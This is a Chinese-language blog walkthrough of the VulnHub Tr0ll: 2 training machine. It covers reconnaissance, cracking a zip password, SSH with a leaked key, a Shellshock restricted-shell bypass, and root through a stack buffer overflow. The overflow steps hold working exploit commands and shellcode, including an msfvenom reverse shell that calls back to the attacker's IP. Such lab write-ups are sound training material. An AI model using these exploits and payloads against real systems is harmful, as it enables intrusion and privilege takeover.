# vulnhub Tr0ll: 2



29 篇文章 2 订阅 订阅专栏

# 本文思路

nmap扫描---->dirb扫描发现robots---->dirb配合找到的字典爆破目录---->访问目录下载图片---->strings考察图 片,发现新目录yOur\_self---->访问yOur\_self目录,获得字典answer.txt---->弱口令登录ftp---->用fcrackzip爆破 Imao.zip密码---->通过密钥ssh登录,得到noob用户的shell---->linpeas.sh探测提权途径---->利用缓冲区溢出漏洞 提权

## 环境信息

靶机ip为192.168.101.33

攻击机ip为192.168.101.34

具体步骤

步骤1: nmap扫描

sudo nmap -sS -A -p- 192.168.101.33

扫出了3个开放端口,21 (ftp),22 (ssh),80 (http)



其实从上图的扫描结果就可以看出来,21端口的ftp服务是不允许匿名登录的,如果允许的话,会有提示(比如 见vulnhub Tr0ll: 1\_箭雨镜屋-CSDN博客)

如果不死心,可以用浏览器访问一下 ftp://192.168.101.33,可以看到弹出了登录框

م ftp://	/192.168.101.33							
ali Docs	💐 Kali Forums	🖟 Exploit-DB !	🕨 Go	ogle Hac	king DB 🛛 💄 Of	ffSec		
		KALI LIN	UX	TOOLS	DOCUMENTAT	ION	FORUMS	BU

# Welcome to Kali Linux



# 步骤2: dirb扫描网站,找到robots.txt

访问网站发现主页还是除了这个倒霉玩意儿啥也没有



不死心,看一下网页源代码,似乎有那么一点信息, TrOll也许是个用户名



只好用dirb扫描一下,期待能扫出点什么

dirb http://192.168.101.33

扫描结果如下,扫出了robot.txt

— Scanning URL: http://192.168.101.33/ —
+ http://192.168.101.33/cgi-bin/ (CODE:403|SIZE:290)
+ http://192.168.101.33/index (CODE:200|SIZE:110)
+ http://192.168.101.33/index.html (CODE:200|SIZE:346)
+ http://192.168.101.33/robots.txt (CODE:200|SIZE:346)
+ http://192.168.101.33/server-status (CODE:403)

浏览器访问 http://192.168.101.33/robots 发现好多目录

← → G	ŵ	0 💋	192.168.101.33/	robots		
🍣 Kali Linux	💦 Kali Tools	🧧 Kali Doc	s 🛛 🗙 Kali Forums	Kali NetHunter	🖟 Exploit-DB	📥 Google H
User-agent:* Disallow: /noob /nope /try_harder /keep_trying /isnt_this_an /nothing_here /404 /LOL_at_the_l /trolling_is_ /zomg_is_this /you_found_me /I_know_this_ /You_could_gi /dont_bother /will_it_ever /I_hope_you_s /ok_this_is_i /stop_whining /why_are_you_ /just_quit	noying ast_one fun _it sucks ve_up _end cripted_this t still_looking					
/seriously_st	ор				CSDN @	の仙女象

CSDN @恤女家

### 步骤3: dirb配合找到的目录字典爆破网站目录

把上图中这些目录复制粘贴到文件/home/kali/Desktop/paths中,做成目录字典



用dirb配合该字典爆破

dirb http://192.168.101.33 /home/kali/Desktop/paths

爆破结果如下,有4个目录是可访问的

Scanning URL: http://192.168.101.33/ + http://192.168.101.33//noob (CODE:301|SIZE:315) + http://192.168.101.33//keep\_trying (CODE:301|SIZE:322) + http://192.168.101.33//dont\_bother (CODE:301|SIZE:322) + http://192.168.101.33//ok\_this\_is\_it (CODE:301)[SADN 20]仙女象

步骤4: 访问目录, 琢磨图片

这4个url每个我都访问了一遍,每个都是这张图



CSDN @仙女象

查看网页源代码的话,可以发现其实并不是同一张图片,是dirb爆破出来的四个目录每个目录下都有一个图片



CSDN @仙女象



把这4张图片都下载下来备用

## 步骤5:用strings命令考察图片,发现新目录y0ur\_self

用下面的命令查看每张图片

strings 图片名

其他三张都没啥, dont.jpeg有意思, 有一句用户友好的提示

"Look Deep within y0ur\_self for the answer"



既然我已经玩过trOll 1了,我就知道这是什么套路了, yOur\_self保准是个目录

步骤6:访问y0ur\_self目录,获得字典answer.txt



Parent Directory 

 answer.txt
 04-Oct-2014 01:22 1.3M

Apache/2.2.22 (Ubuntu) Server at 192.168.101.33 Port 80

CSDN @仙女象



用base64命令解码一下,生成明文字典answer2.txt

cat answer.txt | base64 --decode > answer2.txt



步骤7: 弱口令登录ftp

80端口似乎暂时没啥好看的了,试试登录ftp。虽然拿到个字典有可能包含用户名和密码,但是字典规模超级 大,有快10万行,能省时间的话,还是先试试省时间的方法。

步骤2中说过,网站首页有一个信息,TrOll,目前为止还没用到,这边试试能不能用它登录ftp。

用户名和密码都用TrOll试试,成功登录

有一个压缩文件Imao.zip, 下载备用

1	ŵ	0 🔏	<b>-0</b> ftp:// <b>192.168</b> .	101.33				••	• ⊠ ☆	7
ĸ	裔 Kali Tools	🧧 Kali Docs	🔀 Kali Forums		🖟 Exploit-DB	🛸 Google Hacl	king DB 💄 OffSec			
	Inde	ex of ftp:	//192.168.1	01.33/						
	<b>^</b>	Up to higher	level directory							
		Name					Size	Last	Modified	
		File: lmao.z	zip				2 KB	10/3/14	8:00:00 PM	EDT
									CSDN (	@仙女象

### 步骤8:用fcrackzip爆破Imao.zip密码

尝试打开Imao.zip,发现需要密码。可能密码就在由answer.txt解码生成的answer2.txt中。

fcrackzip是专门用来破解zip文件密码的工具。

安装fcrackzip

sudo apt install fcrackzip

用fcrackzip破解lmao.zip密码(快得不得了,速度惊到我了)

fcrackzip -D -p answer2.txt lmao.zip -u

密码是 ItCantReallyBeThisEasyRightLOL



解压出来一个叫noob的文件,是一个PEM格式的RSA私钥,留着备用

(kali® kali)-[~] \$ file noob pack: DEM RSA private key	
HOUD. PEM KSA PIIVALE KEY	
$(k_2)i \otimes k_2 i j_{-[n]}$	
t strings poob	
BEGIN RSA DRIVATE KEV	
MITENATRANKCADEAST thus comosu63EMpilasuBTEMiftzsrtwillEeQvEhAol ag	
vDSPjrmPsvEePcnHmwWEdeR5AWTv/RmG7h00+0h6vSPswjx7//SnX/0Hvh0CGhf1	
/9zwt JSMel v5oCGOuiMLiDZirvu1PKxFT1CcUnivlr2kgD/fv11Th33KwmcsgnPo	
a+pMbCh86IzNBEXrBdkYCn222diBag+mEivfgIXWOYBlZ3HNZ4LVtG+5in9bvkU5	
z+13lsTpA9px6YIbvrPMMFzcOrxNdpTY86ozw02+MmFaYfMxvj2GbLei0+gniwKv	
e5SsF+eNBRKdgvSYtsVE11SwQmF4imdJ00buvQIDAQABAoIBAA8ltlpQWP+yduna	
u+W3cSHrmgWi/Ge0Ht6tP193V8IzyD/CJFsPH24Yf7rX1xUoIOKtI4NV+gfjW8i0	
gvKJ9eXYE2fdCDhUxsLcQ+wYrP1j0cVZXvL4CvMDd9Yb1JVnq65QK0J73CuwbVlq	
UmYXvYHcth324YFbeaEiPcN3SIlLWms0pdA71Lc8kYKfgUK8UQ9Q3u58Ehlxv079	
La35u5VH7GSKeey72655A+t6d1ZrrnjaRXmaec/j3Kvse2GrXJFhZ2IEDAfa0GXR	
xgl4PyN800L+TgBNI/5nnTSQqbjUiu+a0oRCs0856EEpfnGte41App099hdPTAKP	
aq/r7+UCgYEA170aQ69KGRdvNRNvRo4abtiKVFSSqCKMasiL6aZ8NIqNfIVTMtTW	
K+WPmz657n1oapaPfkiMRhXBCLjR7HHLeP5RaDQtOrNBfPSi7AlTPrRxDPQUxyxx	
n48iIflln6u85KYEjQbHHkA3MdJBX2yYFp/w6pYtKfp15BDA8s4v9HMCgYEA0YcB	
TEJvcW1XUT93ZsN+l0o/xlXDsf+9Njrci+G8l7jJEAFWptb/9ELc8phiZUHa2dIh	
WBpYEanp2r+fKEQwLtoihstceSamdrLsskPhA4xF3zc3c1ubJOUfsJBfbwhX1tQv	
ibsKq9kucenZOnT/WU8L51Ni5lTJa4HTQwQe9A8CgYEAidHV1T1g6NtSUOVUCg6t	
0PlGmU9YTVmVwnzU+LtJTQDiGh†N6wKWvYF12kmf30P9vWzpzlRoXDd2GS6N4rdq	
vKoyNZRw+bqjM0XT+2CR8dS1Dw09au14w+xecLq7NeQzUxzId5tHCosZ0RoQbvoh	
ywLymdD0lq3T0Z+CySD4/wUCgYEAr/ybRHhQro70VnneSjxNp7qRUn9a3bkWLeSG	
th8mjrEwf/b/1ya12YEHn+QKUU5dCb0L0jr2We/Dcm6cue981P4rHdjVLRS3oN9s	
G9CTU10pyVDP/F63Eug4E89PUSZ1ypnyTVCDA2Br1FaTtKcM1VDV6J6L2TC1/sye	
qSICelUCgYAKEIS3NmgLLZJWO+FQCGYULSFGFSTUY05SON8KXWBBGHW4/TC//+NU	
www.ree+bazaqmiiiojocqlwyeczwoj40l/w311Rtkobnow/p3njow1d+0g1jjgKG	- A. [
END_DSA_DBTVATE_KEV	、家
END KOA PRIVATE KET	

# 步骤9:通过密钥ssh登录,得到noob用户的shell

既然这个私钥文件叫noob,那合理猜测用户名就是noob。尝试ssh登录

ssh -i noob noob@192.168.101.33

从结果来看,用户名和密码应该是对了,但是连上之后立刻就被断开了。



像是skytower靶机的情况,和那个一样加个-t参数试试

ssh -i noob noob@192.168.101.33 -t "/bin/sh"

不行了,难度增加了



#### 绕过Linux受限Shell环境的技巧 - linuxsec - 博客园

在这篇文章的高级绕过技术里面找到几个ssh的绕过技巧,尝试之后发现利用shellshock绕过是可行的

ssh -i noob noob@192.168.101.33 -t "() { :; }; /bin/bash"



### 步骤10: 提权途径探测

首先在当前shell下观察一下,查看一下.bash\_history文件,发现曾经执行过好几个操作名叫bof的文件的命令,这个有可能是在提示本关要利用bof(缓冲区溢出)进行提权。另外,下图所示的gdb是一款linux系统下的调试器,因此下图可能也在暗示使用gdb来调试有bof漏洞的程序。



目前还看不出来缓冲区溢出漏洞具体在哪儿,先走一遍程序,linpeas跑一遍。

攻击机上开http服务

sudo python2 -m SimpleHTTPServer 80

靶机当前shell下用wget命令下载linpeas.sh到noob用户有写权限的目录,比如/tmp或者其家目录

wget http://192.168.101.34/linpeas.sh

用chmod命令赋予linpeas.sh执行权限

chmod +x linpeas.sh

执行linpeas.sh之后,得到的结果中有SUID权限的文件包含下面三个奇奇怪怪的

1001 AL A 1 1000 1000 LIDA AD1		ori / dor/ cro/ opendon/ oon nevoren
-rwsr-xr-x 1 root root 8.3K Oct	502	014 /nothing_to_see_here/choose_wisely/door2/r00t (Unknow )
-rwsr-xr-x 1 root root 7.2K Oct	52	014 /nothing_to_see_here/choose_wisely/door3/r00t (Unknow
-rwsr-xr-x 1 root root 7.2K Oct	52	014 /nothing_to_see_here/choose_wisely/door1/r00t (Unknow
		CSDN @仙女象

这三个door下面的r00t文件是三个不同的可执行文件,并且一段时间之后,这三个文件的作用会轮换。 其中一个执行之后会退出ssh



一个执行之后会有2分钟的困难模式,困难模式中不能ls



还有一个是可以被用来提权的。

为了避免进入不对的门,可以用od -S 1来查看文件中包含的可读字符串。比如

#### od -S 1 /nothing\_to\_see\_here/choose\_wisely/door2/r00t

结果中没有上两图的提示语,包含bof.c,可知这个就是需要利用的文件。



进一步,可以用下面的命令来确定是不是我们要找的r00t文件

od -S 1 /nothing\_to\_see\_here/choose\_wisely/door2/r00t | grep bof

### 步骤11:利用缓冲区溢出漏洞提权

靶机shell中输入如下命令,开始用gdb调试r00t

gdb /nothing\_to\_see\_here/choose\_wisely/door3/r00t

进入gdb后,执行如下命令,其中r表示run,该命令表示执行r00t并以500个A作为入参

(gdb) r \$(python -c 'print "A"\*500')

结果如下图所示, 0x41是A的十六进制ascii码, 说明有缓冲区溢出



接下来需要知道哪4个字节覆盖了EIP。

首先在攻击机上查找pattern\_create.rb文件

find / -name pattern\_create.rb -type f 2>/dev/null

结果如下

(kali@kali)-[~]
\$ find / -name pattern\_create.rb -type f 2>/dev/null
/usr/share/metasploit-framework/tools/exploit/pattern\_createCODN @仙女象

执行如下命令,用pattern\_create.rb生成长度为500字节的每4个字节都不一样的字符串

/usr/share/metasploit-framework/tools/exploit/pattern\_create.rb -1 500

r—(kali⊛kali)+[~]	
_\$ /usr/share/metasploit-framework/tools/exploit/patte	rn_createbrbe-is500 WARRANTY, to the exten
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7A	b8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0A
d1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae	9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag
2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0	Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3
Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1A	l2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4A
m5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao	3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap
6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq	<sup>(gdb) r \$(pythol</sup> CSDN @仙女象 <sup>00</sup>
	Starting program の Contine で 於e J

运行r00t,以刚刚生成的字符串作为入参

(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad

从结果可见, 占着EIP的是 0x6a413969



用 pattern\_offset.rb 来确定0x6a413969在入参中的位置

/usr/share/metasploit-framework/tools/exploit/pattern\_offset.rb -1 500 -q 6a413969

结果是前面有268个字节



gdb中输入如下命令验证以上结论。运行r00t,入参是268个A和4个B

```
(gdb) r $(python -c 'print "A"*268+"B"*4')
```

EIP是0x42424242,0x42是B的十六进制ascii码。因此,以上结论正确。



执行以下命令,查看寄存器的值

(gdb) i r

从下图中可以看到ESP中的地址是0xbffffb80。

执行如下命令可以查看该地址指向的值。

(gdb) x 0xbffffb80

(adb) i n	· · · ·			
(gab) I r				
eax	0×110	272		
ecx	0×0	0		
edx	0×0	0		
ebx	0xh7fd1f	£/	-1208147980	
esp	0×bffffb	80	0×bffffb80	
ebp	0×414141	41	0×41414141	
esi	0×0	0		
edi	0×0	0		
eip 500	0×424242	42	0×42424242	
eflags	0×210282	L SF IF	RF ID ]	
CS	0×73	115		
SS	0×7b	123		
ds	0×7b	123		
es	0×7b	123		
fs	0×0	0		
ØS	0×33	51		
(gdb) x 0×bfff	fb80			
0×bffffb80:	0×00000	000		USDIN @ Щ 文家

先后执行如下三个命令

(gdb) r \$(python -c 'print "A"\*268+"B"\*4+"C"\*8')
(gdb) i r
(gdb) x 0xbffffb80

从结果可知, 0xbffffb80(ESP)指向的内存被字符C占了

(gdb) i r				0	
eax	0×118	280			
ecx	0×0	0			
edx	0×0	0			
ebx	0×b7fd1f	F4	-12081	47980	
esp	0×bffffb8	30	0×bfff	fb80	
ebp	0×4141414	41	0×4141	4141	
esi	0×0	0			
edi 1 500 - a	0×013969	0			
eip	0×4242424	42	0×4242	4242	
eflags	0×210282	[ SF IF	RF ID	]	
CS	0×73	115			
SS	0×7b	123			
ds	0×7b	123			
es	0×7b	123			
fs	0×0	0			
gs	0×33	51			
(gdb) x 0×bfff	fb80				பலானி கி
0×bffffb80:	0×434343	343			

接下来找坏字符。

某大神传授了一个方便的工具badchars。

先用以下命令安装badchars

pip install badchars

然后创建个软链接

sudo ln -s /home/kali/.local/bin/badchars /bin/badchars

再执行

badchars

#### 

#### 用这些字符替代入参中的C

(gdb) r \$(python -c 'print "A"\*268+"B"\*4+"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\

输入

(gdb) i r

#### 找到esp的值

			,				
(gdb) r \$(python -c 'print "A"*268+"B"*4+"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0 e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25 \x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\ x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x 54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6 b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82 \x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\ x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x20\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc 8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf \xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\							
<pre>Starting progr "*4+"\x01\x02\ \x18\x19\x1a\x x2f\x30\x31\x3 46\x47\x48\x49 d\x5e\x5f\x60\ \x75\x76\x77\x x8c\x8d\x8e\x8 a3\xa4\xa5\xa6 a\xbb\xbc\xbd\ \xd2\xd3\xd4\x xe9\xea\xeb\xe )</pre>	<pre>\xe0\xe1\xe2\xe3\xe4\xe2\xe6\xe7\xe6\xe9\xe6\xe6\xe6\xe6\xe6\xe6\xe6\xe6\xe6\xe6</pre>						
Program receiv 0×42424242 in (gdb) i r eax ecx edx ebx	ed signal ?? () 0×118 0×0 0×0 0×0 0×b7fd1f;	SIGSEGV 280 0 0 F4	, Segmentation fault. -1208147980				
esp ebp esi	0×bffffa 0×4141414 0×0	70 41 0	0×bffffa70 0×41414141	CSDN @仙女象			

再输入以下命令查看esp指向的值以及附近的值

结果中可见从1~8是正常的,\x09的位置变成了\x00,这表示\x09是个坏字符。

57		~ ~		SHOOLE	2			
(gdb) x/100×b	0×bffffa	70						
0×bffffa70:	0×01	0×02	0×03	0×04	0×05	0×06	0×07	0×08
0×bffffa78:	0×00	0×fb	0×ff	0×bf	0×58	0×c8	0×fd	0×b7
0×bffffa80:	0×00	0×00	0×00	0×00	0×1c	0×fb	0×ff	0×bf
0×bffffa88:	0×18	0×fb	0×ff	0×bf	0×00	0×00	0×00	0×00 lmao.zip
0×bffffa90:	0×3c	0×82	0×04	0×08	0×f4	0×1f	0×fd	0×b7
0×bffffa98:	0×00	0×00	0×00	0×00	0×00	0×00	0×00	0×00
0×bffffaa0:	0×00	0×00	0×00	0×00	0×3b	0×32	0×01	0×76
0×bffffaa8:	0×2b	0×f6	0×5c	0×41	0×00	0×00	0×00	0×00
0×bffffab0:	0×00	0×00	0×00	0×00	0×00	0×00	0×00	0×00
0×bffffab8:	0×04	0×00	0×00	0×00	0×90	0×83	0×04	0×08
0×bffffac0:	0×00	0×00	0×00	0×00	0×b0	0×26	0×ff	0×b7
0×bffffac8:	0×e9	0×53	0×e4	0×b7	0×f4	0×ef	0×ff	0×b7
0×bffffad0:	0×04	0×00	0×00	0×00				
(gdb)								CSDN @仙女象
13/								1-1-2 (2)

入参中把\x09删掉,重新执行,直到找出所有坏字符。

所有坏字符包括\x00\x09\x0a\x20

接下来构造shellcode,用msfvenom生成反弹shell,LHOST是攻击机ip,LPORT是攻击机监听的端口,并用-b选项去掉坏字符。

msfvenom -p linux/x86/shell\_reverse\_tcp LHOST=192.168.101.34 LPORT=2333 -b "\x00\x09\x0a\x20" -f py



整理完shellcode之后,我就属实不会了。因为之前看的资料是要找JMP ESP,这个靶机好像不是这么玩的。

看了vulnhub上好几个writeup,给出的payload中使EIP的值为0xbffffb80,但我试了不管是我生成的shellcode,还是writeup中自带的都不能成功。也就是说,下面这样是成功不了的

noob@Tr0ll2:~\$ /nothing\_to\_see\_here/choose\_wisely/door2/r00t \$(python -c 'print "A"\*268+"\x80\xfb\xff\xbf"+

response in the second se	<pre>a !===int !!A!!+&gt;60.!!\w00\</pre>
noob@lr0(l2:~\$ /notning_to_see_nere/cnoose_wisely/door2/r00t \$(python -	-c 'print "A"*268+"\X80\
xfb\xff\xbf"+"\x90"*16+"\xdb\xd5\xd9\x74\x24\xf4\x5a\xbe\x7b\x97\xf5\xl	b7\x2b\xc9\xb1\x12\x31\x
72\x17\x03\x72\x17\x83\x91\x6b\x17\x42\x54\x4f\x2f\x4e\xc5\x2c\x83\xfb	\xeb\x3b\xc2\x4c\x8d\xf6
<pre>\x85\x3e\x08\xb9\xb9\x8d\x2a\xf0\xbc\xf4\x42\xc3\x97\x62\xb0\xab\xe5\x6</pre>	6c\xbd\x36\x63\x8d\x0d\x
2e\x23\x1f\x3e\x1c\xc0\x16\x21\xaf\x47\x7a\xc9\x5e\x67\x08\x61\xf7\x58\	\xc1\x13\x6e\x2e\xfe\x81
<pre>\x23\xb9\xe0\x95\xcf\x74\x62"')</pre>	
Segmentation fault	CSDN @仙女象。
noob@Tr0ll2:~\$ []	

我不清楚难道这是因为我用的VMware版本,而writeup作者们用的难道都是virtual box版本么?

Tr0ll: 2 Walkthrough - You Gotta Pay the Troll Toll

还从这个writeup里面发现一个充满shellcode的网站

Linux/x86 - execve /bin/sh shellcode - 23 bytes

总之,这个writeup使用了env命令(env-是env-i的缩写),并且使EIP的值为0xbfffc80。我试了他的payload是可以成功的,直接原地提权

env - /nothing\_to\_see\_here/choose\_wisely/door3/r00t \$(python -c 'print "A"\*268 + "\x80\xfc\xff\xbf" + "\x90



后来我用这种方法又试了我自己的shellcode,也是可以成功的,得到反弹shell

noob@Tr0ll2:~\$ env - /nothing\_to\_see\_here/choose\_wisely/door2/r00t \$(python -c 'print "A"\*268+"\x80\xfc\xff

noob@Tr0ll2:~\$ env - /nothing\_to\_see\_here/choose\_wisely/door2/r00t \$(python -c 'print "A"\*268+ "\x80\xfc\xff\xbf"+"\x90"\*16+"\xdb\xd5\xd9\x74\x24\xf4\x5a\xbe\x7b\x97\xf5\xb7\x2b\xc9\xb1\x12 \x31\x72\x17\x03\x72\x17\x83\x91\x6b\x17\x42\x54\x4f\x2f\x4e\xc5\x2c\x83\xfb\xeb\x3b\xc2\x4c\x 8d\xf6\x85\x3e\x08\xb9\xb9\x8d\x2a\xf0\xbc\xf4\x42\xc3\x97\x62\xb0\xab\xe5\x6c\xbd\x36\x63\x8d \x0d\x2e\x23\x1f\x3e\x1c\xc0\x16\x21\xaf\x47\x7a\xc9\x5e\x67\x08\x61\xf7\x58\xc1\x13\x6e\x2e\x fe\x81\x23\xb9\xe0\x95\xcf\x74\x62"') CSDN @仙女象



不过虽然成功了,我的心中还是有大大的疑惑,我不懂怎么就成功了。 0xbffffc80是怎么来的呢? 他先用env-gdb./r00t进入调试,然后清除了当前环境变量,再

(gdb) run \$(python -c 'print "A"\*268 + "BBBB" + "\x90"\*16 + "C"\*100')

此时ESP的值便是0xbfffc80

可是为什么是100个C呢,不明白!!!

而且我的环境上如果清楚环境变量就不是0xbfffc80了,不清除反而是0xbfffc80。

我也试了其他的地址,都不能成功。

啊, 真奇怪, 希望以后能完全弄明白。